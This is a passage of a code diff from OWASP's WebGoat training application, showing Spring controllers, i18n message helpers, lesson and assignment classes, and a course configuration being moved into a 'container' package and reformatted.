method = {RequestMethod.GET, RequestMethod.POST})
public ModelAndView start() {
var model = new ModelAndView();
model.addObject("course", course);
model.addObject("lesson", ws.getCurrentLesson());
model.setViewName("lesson_content");
return model;
}
@RequestMapping(
value = {"*.lesson"},
produces = "text/html")
public ModelAndView lessonPage(HttpServletRequest request) {
var model = new ModelAndView("lesson_content");
var path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson
var lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson"));
course.getLessons().stream()
.filter(l -> l.getId().equals(lessonName))
.findFirst()
.ifPresent(
lesson -> {
ws.setCurrentLesson(lesson);
model.addObject("lesson", lesson);
});
return model;
}
}

View File

@ -0,0 +1,71 @@
/**
* ************************************************************************************************
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author WebGoat
* @since October 28, 2003
* @version $Id: $Id
*/
package org.owasp.webgoat.container.controller;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.servlet.ModelAndView;
/**
* Welcome class.
*
* @author rlawson
* @version $Id: $Id
*/
@Controller
public class Welcome {
private static final String WELCOMED = "welcomed";
/**
* welcome.
*
* @param request a {@link javax.servlet.http.HttpServletRequest} object.
* @return a {@link org.springframework.web.servlet.ModelAndView} object.
*/
@GetMapping(path = {"welcome.mvc"})
public ModelAndView welcome(HttpServletRequest request) {
// set the welcome attribute
// this is so the attack servlet does not also
// send them to the welcome page
HttpSession session = request.getSession();
if (session.getAttribute(WELCOMED) == null) {
session.setAttribute(WELCOMED, "true");
}
// go ahead and send them to webgoat (skip the welcome page)
ModelAndView model = new ModelAndView();
model.setViewName("forward:/attack?start=true");
return model;
}
}

View File

@ -23,18 +23,17 @@
* <p> * <p>
*/ */
package org.owasp.webgoat.i18n; package org.owasp.webgoat.container.i18n;
import java.util.Locale;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.LocaleResolver; import org.springframework.web.servlet.LocaleResolver;
import java.util.Locale;
/** /**
* Wrapper around the LocaleResolver from Spring so we do not need to bother with passing the HttpRequest object * Wrapper around the LocaleResolver from Spring so we do not need to bother with passing the
* when asking for a Locale. * HttpRequest object when asking for a Locale.
* *
* @author nbaars * @author nbaars
* @date 2/7/17 * @date 2/7/17
@ -45,7 +44,7 @@ public class Language {
private final LocaleResolver localeResolver; private final LocaleResolver localeResolver;
public Locale getLocale() { public Locale getLocale() {
return localeResolver.resolveLocale(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); return localeResolver.resolveLocale(
((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
} }
} }

View File

@ -23,16 +23,15 @@
* <p> * <p>
*/ */
package org.owasp.webgoat.i18n; package org.owasp.webgoat.container.i18n;
import java.util.Properties;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import org.springframework.context.support.ReloadableResourceBundleMessageSource; import org.springframework.context.support.ReloadableResourceBundleMessageSource;
import java.util.Properties;
/** /**
* <p>ExposedReloadableResourceMessageBundleSource class.</p> * ExposedReloadableResourceMessageBundleSource class. Extends the reloadable message source with a
* Extends the reloadable message source with a way to get all messages * way to get all messages
* *
* @author zupzup * @author zupzup
*/ */

View File

@ -0,0 +1,85 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 2017 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*/
package org.owasp.webgoat.container.i18n;
import java.io.IOException;
import java.util.Properties;
import org.springframework.context.support.ReloadableResourceBundleMessageSource;
import org.springframework.core.io.support.ResourcePatternResolver;
/**
* Message resource bundle for plugins.
*
* @author nbaars
* @date 2/4/17
*/
public class PluginMessages extends ReloadableResourceBundleMessageSource {
private static final String PROPERTIES_SUFFIX = ".properties";
private final Language language;
private final ResourcePatternResolver resourcePatternResolver;
public PluginMessages(
Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {
this.language = language;
this.setParentMessageSource(messages);
this.setBasename("WebGoatLabels");
this.resourcePatternResolver = resourcePatternResolver;
}
@Override
protected PropertiesHolder refreshProperties(String filename, PropertiesHolder propHolder) {
Properties properties = new Properties();
long lastModified = System.currentTimeMillis();
try {
var resources =
resourcePatternResolver.getResources(
"classpath:/lessons/**/i18n" + "/WebGoatLabels" + PROPERTIES_SUFFIX);
for (var resource : resources) {
String sourcePath = resource.getURI().toString().replace(PROPERTIES_SUFFIX, "");
PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder);
properties.putAll(holder.getProperties());
}
} catch (IOException e) {
logger.error("Unable to read plugin message", e);
}
return new PropertiesHolder(properties, lastModified);
}
public Properties getMessages() {
return getMergedProperties(language.getLocale()).getProperties();
}
public String getMessage(String code, Object... args) {
return getMessage(code, args, language.getLocale());
}
public String getMessage(String code, String defaultValue, Object... args) {
return super.getMessage(code, args, defaultValue, language.getLocale());
}
}

View File

@ -0,0 +1,72 @@
package org.owasp.webgoat.container.lessons;
import java.util.ArrayList;
import java.util.List;
import javax.persistence.*;
import lombok.*;
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* <p>
*
* @author nbaars
* @version $Id: $Id
* @since November 25, 2016
*/
@Getter
@EqualsAndHashCode
@Entity
public class Assignment {
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
private Long id;
private String name;
private String path;
@Transient private List<String> hints;
private Assignment() {
// Hibernate
}
public Assignment(String name) {
this(name, name, new ArrayList<>());
}
public Assignment(String name, String path, List<String> hints) {
if (path.equals("") || path.equals("/") || path.equals("/WebGoat/")) {
throw new IllegalStateException(
"The path of assignment '"
+ name
+ "' overrides WebGoat endpoints, please choose a path within the scope of the"
+ " lesson");
}
this.name = name;
this.path = path;
this.hints = hints;
}
}

View File

@ -0,0 +1,67 @@
package org.owasp.webgoat.container.lessons;
import lombok.Getter;
/**
* *************************************************************************************************
*
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @version $Id: $Id
* @since October 28, 2003
*/
public enum Category {
INTRODUCTION("Introduction", 5),
GENERAL("General", 100),
A1("(A1) Broken Access Control", 301),
A2("(A2) Cryptographic Failures", 302),
A3("(A3) Injection", 303),
A5("(A5) Security Misconfiguration", 305),
A6("(A6) Vuln & Outdated Components", 306),
A7("(A7) Identity & Auth Failure", 307),
A8("(A8) Software & Data Integrity", 308),
A9("(A9) Security Logging Failures", 309),
A10("(A10) Server-side Request Forgery", 310),
CLIENT_SIDE("Client side", 1700),
CHALLENGE("Challenges", 3000);
@Getter private String name;
@Getter private Integer ranking;
Category(String name, Integer ranking) {
this.name = name;
this.ranking = ranking;
}
@Override
public String toString() {
return getName();
}
}

View File

@ -0,0 +1,143 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.container.lessons;
import static java.util.stream.Collectors.groupingBy;
import java.lang.reflect.Method;
import java.lang.reflect.ParameterizedType;
import java.util.*;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.ArrayUtils;
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
import org.owasp.webgoat.container.assignments.AssignmentHints;
import org.owasp.webgoat.container.assignments.AttackResult;
import org.owasp.webgoat.container.session.Course;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.util.CollectionUtils;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestMapping;
@Slf4j
@Configuration
public class CourseConfiguration {
private final List<Lesson> lessons;
private final List<AssignmentEndpoint> assignments;
private final Map<String, List<AssignmentEndpoint>> assignmentsByPackage;
public CourseConfiguration(List<Lesson> lessons, List<AssignmentEndpoint> assignments) {
this.lessons = lessons;
this.assignments = assignments;
assignmentsByPackage =
this.assignments.stream().collect(groupingBy(a -> a.getClass().getPackageName()));
}
@Bean
public Course course() {
lessons.stream().forEach(l -> l.setAssignments(createAssignment(l)));
return new Course(lessons);
}
private List<Assignment> createAssignment(Lesson lesson) {
var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName());
if (CollectionUtils.isEmpty(endpoints)) {
log.warn("Lesson: {} has no endpoints, is this intentionally?", lesson.getTitle());
return new ArrayList<>();
}
return endpoints.stream()
.map(
e ->
new Assignment(
e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass())))
.toList();
}
private String getPath(Class<? extends AssignmentEndpoint> e) {
for (Method m : e.getMethods()) {
if (methodReturnTypeIsOfTypeAttackResult(m)) {
var mapping = getMapping(m);
if (mapping != null) {
return mapping;
}
}
}
throw new IllegalStateException(
"Assignment endpoint: "
+ e
+ " has no mapping like @GetMapping/@PostMapping etc,with return type 'AttackResult' or"
+ " 'ResponseEntity<AttackResult>' please consider adding one");
}
private boolean methodReturnTypeIsOfTypeAttackResult(Method m) {
if (m.getReturnType() == AttackResult.class) {
return true;
}
var genericType = m.getGenericReturnType();
if (genericType instanceof ParameterizedType) {
return ((ParameterizedType) m.getGenericReturnType()).getActualTypeArguments()[0]
== AttackResult.class;
}
return false;
}
private String getMapping(Method m) {
String[] paths = null;
// Find the path, either it is @GetMapping("/attack") of GetMapping(path = "/attack") both are
// valid, we need to consider both
if (m.getAnnotation(RequestMapping.class) != null) {
paths =
ArrayUtils.addAll(
m.getAnnotation(RequestMapping.class).value(),
m.getAnnotation(RequestMapping.class).path());
} else if (m.getAnnotation(PostMapping.class) != null) {
paths =
ArrayUtils.addAll(
m.getAnnotation(PostMapping.class).value(),
m.getAnnotation(PostMapping.class).path());
} else if (m.getAnnotation(GetMapping.class) != null) {
paths =
ArrayUtils.addAll(
m.getAnnotation(GetMapping.class).value(), m.getAnnotation(GetMapping.class).path());
} else if (m.getAnnotation(PutMapping.class) != null) {
paths =
ArrayUtils.addAll(
m.getAnnotation(PutMapping.class).value(), m.getAnnotation(PutMapping.class).path());
}
if (paths == null) {
return null;
} else {
return Arrays.stream(paths).filter(path -> !"".equals(path)).findFirst().orElse("");
}
}
private List<String> getHints(Class<? extends AssignmentEndpoint> e) {
if (e.isAnnotationPresent(AssignmentHints.class)) {
return List.of(e.getAnnotationsByType(AssignmentHints.class)[0].value());
}
return Collections.emptyList();
}
}

View File

@ -25,12 +25,12 @@
* *
*/ */
package org.owasp.webgoat.lessons; package org.owasp.webgoat.container.lessons;
import lombok.Value; import lombok.Value;
/** /**
* <p>Hint class.</p> * Hint class.
* *
* @author rlawson * @author rlawson
* @version $Id: $Id * @version $Id: $Id

View File

@ -0,0 +1,12 @@
package org.owasp.webgoat.container.lessons;
import org.owasp.webgoat.container.users.WebGoatUser;
/**
* Interface for initialization of a lesson. It is called when a new user is added to WebGoat and
* when a users reset a lesson. Make sure to clean beforehand and then re-initialize the lesson.
*/
public interface Initializeable {
void initialize(WebGoatUser webGoatUser);
}

Some files were not shown because too many files have changed in this diff Show More